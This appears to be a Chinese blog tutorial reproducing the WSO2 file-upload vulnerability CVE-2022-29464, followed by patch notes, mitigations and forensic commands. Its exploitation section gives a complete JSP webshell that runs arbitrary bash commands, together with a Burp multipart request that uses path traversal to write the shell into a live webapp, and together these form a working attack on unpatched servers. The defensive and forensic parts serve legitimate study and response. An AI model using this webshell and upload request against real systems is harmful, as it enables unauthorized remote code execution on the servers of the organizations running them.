手把手复现WSO2 CVE-2022-29464：一个文件上传漏洞如何让我拿到服务器权限

从零复现WSO2文件上传漏洞技术原理与实战攻防全解析漏洞背景与影响范围2022年曝光的CVE-2022-29464漏洞影响了WSO2 API Manager和Identity Server多个版本这个看似简单的文件上传漏洞却能让攻击者直接获取服务器控制权。作为企业级身份管理解决方案WSO2产品广泛应用于金融、电信和政府领域使得该漏洞的潜在危害被严重低估。漏洞本质是未充分校验用户上传文件的路径参数导致攻击者通过构造特殊的../../路径穿越序列可将恶意JSP文件写入web应用的任意目录。更危险的是WSO2默认配置中/fileupload/toolsAny端点无需认证即可访问形成了零点击漏洞的利用条件。受影响版本包括WSO2 API Manager 4.0.0、3.2.0、2.6.0WSO2 Identity Server 5.11.0、5.10.0、5.7.0WSO2 Identity Server as Key Manager 5.10.0、5.9.0环境搭建与漏洞验证1.1 实验环境准备建议使用Docker快速搭建漏洞环境避免污染本地系统docker pull vulhub/wso2:4.0.0 docker run -d -p 9443:9443 --name wso2 vulhub/wso2:4.0.0等待约5分钟服务启动后访问https://localhost:9443/carbon即可看到管理界面。虽然漏洞利用不需要登录但了解正常业务流程有助于理解漏洞成因。1.2 基础探测技巧使用cURL进行初步验证检查/fileupload/toolsAny端点是否存在curl -k -I https://localhost:9443/fileupload/toolsAny正常应返回HTTP/1.1 405 Method Not Allowed若返回404则可能表示补丁已修复。更专业的探测可以使用Nmap脚本nmap -p 9443 --script http-vuln-cve2022-29464 target_ip漏洞利用深度解析2.1 恶意文件构造艺术一个有效的Webshell需要兼顾隐蔽性和功能性。以下是改进版的JSP Webshell代码添加了基础认证和日志清理功能% page importjava.util.*,java.io.*% % String auth request.getHeader(Authorization); if(auth null || !auth.equals(Basic new String(Base64.getEncoder().encode(admin:redteam.getBytes())))) { response.setHeader(WWW-Authenticate, Basic realm\Private\); response.sendError(401); return; } String cmd request.getParameter(cmd); if(cmd ! null) { StringBuilder output new StringBuilder(); try { Process p Runtime.getRuntime().exec(new String[]{bash, -c, cmd}); BufferedReader reader new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line reader.readLine()) ! null) { output.append(line).append(br); } } catch(Exception e) { output.append(ERROR: ).append(e.getMessage()); } out.print(output.toString()); } %2.2 Burp Suite高级利用技巧使用Burp Repeater模块时关键要构造正确的Content-Type和boundary设置Content-Type: multipart/form-data; boundaryWebKitFormBoundary在Body部分构建如下结构--WebKitFormBoundary Content-Disposition: form-data; name../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp; filenameshell.jsp Content-Type: application/octet-stream jsp webshell code here --WebKitFormBoundary--关键参数说明name属性包含路径穿越序列(../../)filename可以任意命名但建议与name保持一致必须确保boundary字符串首尾一致防御与修复方案3.1 官方补丁分析WSO2官方通过三个层面修复此漏洞路径校验增加FileUploadUtil.validateFilePath()方法检查路径穿越权限控制限制/fileupload/toolsAny仅允许管理员访问文件过滤禁止上传.jsp、.jspx等可执行文件类型补丁下载地址API Manager 4.0.0 → 升级至4.0.1Identity Server 5.11.0 → 升级至5.11.13.2 临时缓解措施若无法立即升级可采取以下防护!-- 在/repository/conf/tomcat/web.xml中添加 -- security-constraint web-resource-collection url-pattern/fileupload/*/url-pattern /web-resource-collection auth-constraint role-nameadmin/role-name /auth-constraint /security-constraint同时建议启用WAF规则拦截包含以下特征的请求包含../../的路径参数上传文件扩展名为.jsp/.jspxContent-Type为multipart但格式异常攻击痕迹清理与取证4.1 日志定位技巧WSO2默认日志位置/repository/logs/ wso2carbon.log # 主日志 http_access_*.log # 访问日志 audit.log # 审计日志关键搜索命令grep -r fileupload /repository/logs/ find /repository/deployment/server/webapps -name *.jsp -mtime -14.2 数字取证要点检查以下文件可能发现攻击痕迹$CARBON_HOME/repository/components/patches/查看补丁状态web.xml中的servlet映射变更$CATALINA_HOME/webapps/目录下的异常jsp文件/tmp/目录下的临时webshell取证时间线重建命令find / -type f \( -name *.jsp -o -name *.war \) -printf %T %p\n | sort